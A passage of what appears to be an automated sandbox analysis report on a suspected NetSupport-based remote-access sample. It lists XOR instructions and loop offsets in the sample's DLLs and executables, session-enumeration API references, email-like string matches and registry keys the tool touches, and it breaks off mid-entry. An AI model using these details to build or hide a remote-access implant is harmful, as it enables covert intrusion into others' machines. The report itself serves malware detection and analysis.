XOR instruction xor ecx ebp in Stream UID: 62245-1422-004278A4 Assembly shows XOR instruction xor eax 01h in Stream UID: 62245-1597-00407070 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-13-0131E003 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-13-0131E003 Assembly shows XOR instruction xor ecx 49656E69h in Stream UID: 00000000-00006116-63370-21-0130D8B6 Assembly shows XOR instruction xor eax 6C65746Eh in Stream UID: 00000000-00006116-63370-21-0130D8B6 Assembly shows XOR instruction xor eax 756E6547h in Stream UID: 00000000-00006116-63370-21-0130D8B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-40-0131794E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-40-0131794E Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00006116-63370-42-01317735 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00006116-63370-42-01317735 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-50-013178F8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-50-013178F8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-59-01315B53 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-59-01315B53 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-120-01314ADF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-120-01314ADF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-170-013193F3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-170-013193F3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-177-013173AE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-177-013173AE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-178-01317A09 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-178-01317A09 Assembly shows XOR instruction xor eax dword ptr [ecx+08h] in Stream UID: 00000000-00006116-63370-207-0131E8D4 Assembly shows XOR instruction xor dword ptr [ecx+08h] eax in Stream UID: 00000000-00006116-63370-207-0131E8D4 Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00006116-63370-207-0131E8D4 Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00006116-63370-207-0131E8D4 Assembly shows XOR instruction xor byte ptr [ecx] al in Stream UID: 00000000-00006116-63370-289-012FDF34 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-688-0130CABE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-688-0130CABE Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00006116-63370-699-01311C79 Assembly shows XOR instruction xor edi edx in Stream UID: 00000000-00006116-63370-699-01311C79 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006116-63370-738-0130DC18 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006116-63370-738-0130DC18 Assembly shows XOR instruction xor ecx dword ptr [ebp-14h] in Stream UID: 00000000-00006116-63370-738-0130DC18 Assembly shows XOR instruction xor ecx dword ptr [ebp-04h] in Stream UID: 00000000-00006116-63370-738-0130DC18 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00006116-63370-738-0130DC18 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-796-01317E0E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-796-01317E0E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006116-63370-815-01318618 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006116-63370-815-0131861859:T526f,Found XOR loop in file "bild.exe" at offset 97190; code bytes = 8030 Found XOR loop in file "bild.exe" at offset 101116; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 57623; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 60386; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 60552; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 69609; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 72408; code bytes = 8030 Found XOR loop in file "remcmdstub.exe" at offset 72574; code bytes = 8030 Found XOR loop in file "pcicapi.dll" at offset 21845; code bytes = 30d0 Found XOR loop in file "pcicapi.dll" at offset 24486; code bytes = 8030 Found XOR loop in file "pcicapi.dll" at offset 28412; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 255641; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 898988; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 1559751; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 1810939; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3458719; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3509396; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3588515; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3592749; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3597507; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3602113; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3605015; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3615523; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3622141; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3622491; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3635325; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3636025; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3637049; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3640065; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3646045; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3651145; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3653859; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3667255; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3670117; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3672483; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3675043; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3678647; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3681215; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3683027; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3686283; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3686929; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3689007; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3690093; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3691749; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3693843; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 3694843; code bytes = 30d0 Found XOR loop in file "PCICL32.DLL" at offset 109628; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 109756; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 109884; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110717; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110845; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 110973; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 111926; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112023; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112118; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112209; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112304; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 112399; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 315238; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522390; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522432; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522474; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 522516; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537819; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537844; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537859; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 537885; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 748711; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 839978; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 839983; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 914311; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 937575; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 938023; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 938823; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 939266; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1391945; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1445450; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1446069; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1837061; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1837509; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1838085; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1838533; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1839397; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1839845; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1840421; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 1840869; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3581209; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3589509; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3592817; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3597547; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3606801; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3611491; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3624885; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3631875; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3635563; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 3654575; code bytes = 33c1 Found XOR loop in file "PCICL32.DLL" at offset 420807; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 424504; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 570298; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 570528; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 706566; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1035068; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1736655; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1754674; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1833895; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1904032; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 1964072; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 2014983; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3582258; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3587480; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3610164; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3614118; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3624852; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3626466; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3634198; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3644702; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3648824; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3651130; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3661956; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3665074; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3667216; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3670820; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3672444; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3675004; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3678608; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3679848; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3681196; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3683778; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3684630; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3686268; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3687968; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3689496; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3691082; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3691736; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3692890; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3693834; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3694342; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3695978; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3726758; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3730684; code bytes = 8030 Found XOR loop in file "PCICL32.DLL" at offset 3735334; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 311148; code bytes = 30d0 Found XOR loop in file "TCCTL32.DLL" at offset 384605; code bytes = 30d0 Found XOR loop in file "TCCTL32.DLL" at offset 9734; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9776; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9818; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 9860; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 25159; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126874; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126916; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 126958; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 127000; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 171611; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 172230; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 378439; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 380783; code bytes = 33c1 Found XOR loop in file "TCCTL32.DLL" at offset 370176; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 375492; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 376374; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 379006; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 385310; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 388006; code bytes = 8030 Found XOR loop in file "TCCTL32.DLL" at offset 391932; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 130781; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 314629; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 316037; code bytes = 30d0 Found XOR loop in file "HTCTL32.DLL" at offset 2026; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 2154; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 2282; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3129; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3257; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 3385; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4391; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4489; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4585; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4677; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4773; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 4869; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 99479; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 142681; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 143300; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 308417; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 308875; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 314971; code bytes = 33c1 Found XOR loop in file "HTCTL32.DLL" at offset 305566; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 307742; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 313782; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 316026; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 316534; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 317016; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 319398; code bytes = 8030 Found XOR loop in file "HTCTL32.DLL" at offset 323324; code bytes = 8030 Found XOR loop in file "PCICHEK.DLL" at offset 10150; code bytes = 8030 Found XOR loop in file "PCICHEK.DLL" at offset 14076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 241889; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 295931; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 299183; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 353140; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 529714; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 635006; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 713253; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 730387; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 785181; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1004135; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1123852; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1135991; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1157937; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1177918; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1277818; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1298471; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1343878; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1464690; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1550768; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1613930; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1660464; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1738476; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1822974; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1895577; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1900178; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1969900; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2028985; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2042722; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 13568; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 13686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 52133; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 69177; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 69453; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 121222; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 121353; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 296375; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 371679; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 485974; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 526009; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 530498; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 581987; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 660478; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 692895; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 935685; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1000922; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1050482; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1153902; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1172205; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1405621; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1460713; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1463490; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1465156; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1469236; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1517517; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1527378; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1563216; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1631524; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1672173; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1683520; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1692262; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2038671; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2044786; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2095488; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2107962; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 48238; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 235743; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 299144; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 300830; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 301228; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 327589; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 375606; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 436190; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 537034; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 614758; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 695111; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 696420; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 701876; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 901264; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1003754; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1005302; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1252895; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1379097; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1465522; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1552531; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1573276; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1599771; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1696444; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1743362; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1851130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1865346; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2052927; code bytes = 80305a:T4fa,file/memory contains long string with (Indicator: "ProcessIdToSessionId"; File: "pcicapi.dll") file/memory contains long string with (Indicator: "ProcessIdToSessionId"; File: "HTCTL32.DLL") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00001236-00000C2C-261196686") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00001236-00000C2C-263912048") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00001236-00000C2C-264037045") Found reference to API "ProcessIdToSessionId" (Indicator: "ProcessIdToSessionId"; Source: "00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000001.82769.6C945000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "WTSFreeMemory" (Indicator: "WTSFreeMemory"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "WTSEnumerateProcessesA" (Indicator: "WTSEnumerateProcesses"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "WTSEnumerateSessionsA" (Indicator: "WTSEnumerateSessions"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp")5b:T41a,Pattern match: "support@pci.co.uk" Pattern match: "hapubws@ih.adscale.de" Pattern match: "hapubws@jalan.net" Pattern match: "hapubws@nextag.com" Pattern match: "hapubws@www.rakuten.co.jp" Pattern match: "hapubws@server.seadform.net" Pattern match: "hapubws@adnxs.com" Pattern match: "hapubws@www.stardoll.com" Pattern match: "hapubws@whisky.ana.stg8.com" Pattern match: "hapubws@www.whitepages.com" Pattern match: "hapubws@globalwebindex.net" Pattern match: "hapubws@8428790487.log.optimizely.com" Pattern match: "hapubws@sunset.systems" Pattern match: "hapubws@pcauto.com.cn" Pattern match: "hapubws@i.liadm.com" Pattern match: "hapubws@www.lazada.vn" Pattern match: "hapubws@reference.com" Pattern match: "hapubws@twitter.com" Pattern match: "hapubws@www.gmx.net" Pattern match: "hapubws@alot.com" Pattern match: "hapubws@621373388.log.optimizely.com" Pattern match: "hapubws@www.priceline.com" Pattern match: "hapubws@addictinggames.com" Pattern match: "hapubws@bankofamerica.com" Pattern match: "hapubws@tripadvisor.co.uk"5c:T214e,"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl|AutoReboot" in Source: 00000000-00001236.00000000.80845.00300000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00001236.00000000.80845.111E1000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00001236.00000000.80845.111E1000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00001236.00000000.80845.111E1000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp "Software\Productive Computer Insight" in Source: 00000000-00001236.00000001.82769.111E1000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00001236.00000001.82769.111E1000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00001236.00000001.82769.111E1000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00001236.00000002.84690.00300000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00001236.00000002.84690.00300000.00000004.mdmp "SYSTEM\CurrentControlSet\Services\nsafltr\Parameters" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Enum\ACPI" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "System\CurrentControlSet\Services\Gdihook5" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\NetSupport Ltd\Client32" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\NSL\Saved\DS" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Internet Explorer\Main" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Policies\NetSupport\Client\standard" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Classes\ActivatableClasses\Package\DefaultBrowser_NOPUBLISHERID\Server\DefaultBrowserServer" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Productive Computer Insight\Client32" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Productive Computer Insight\Client32\AutoReconnect" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 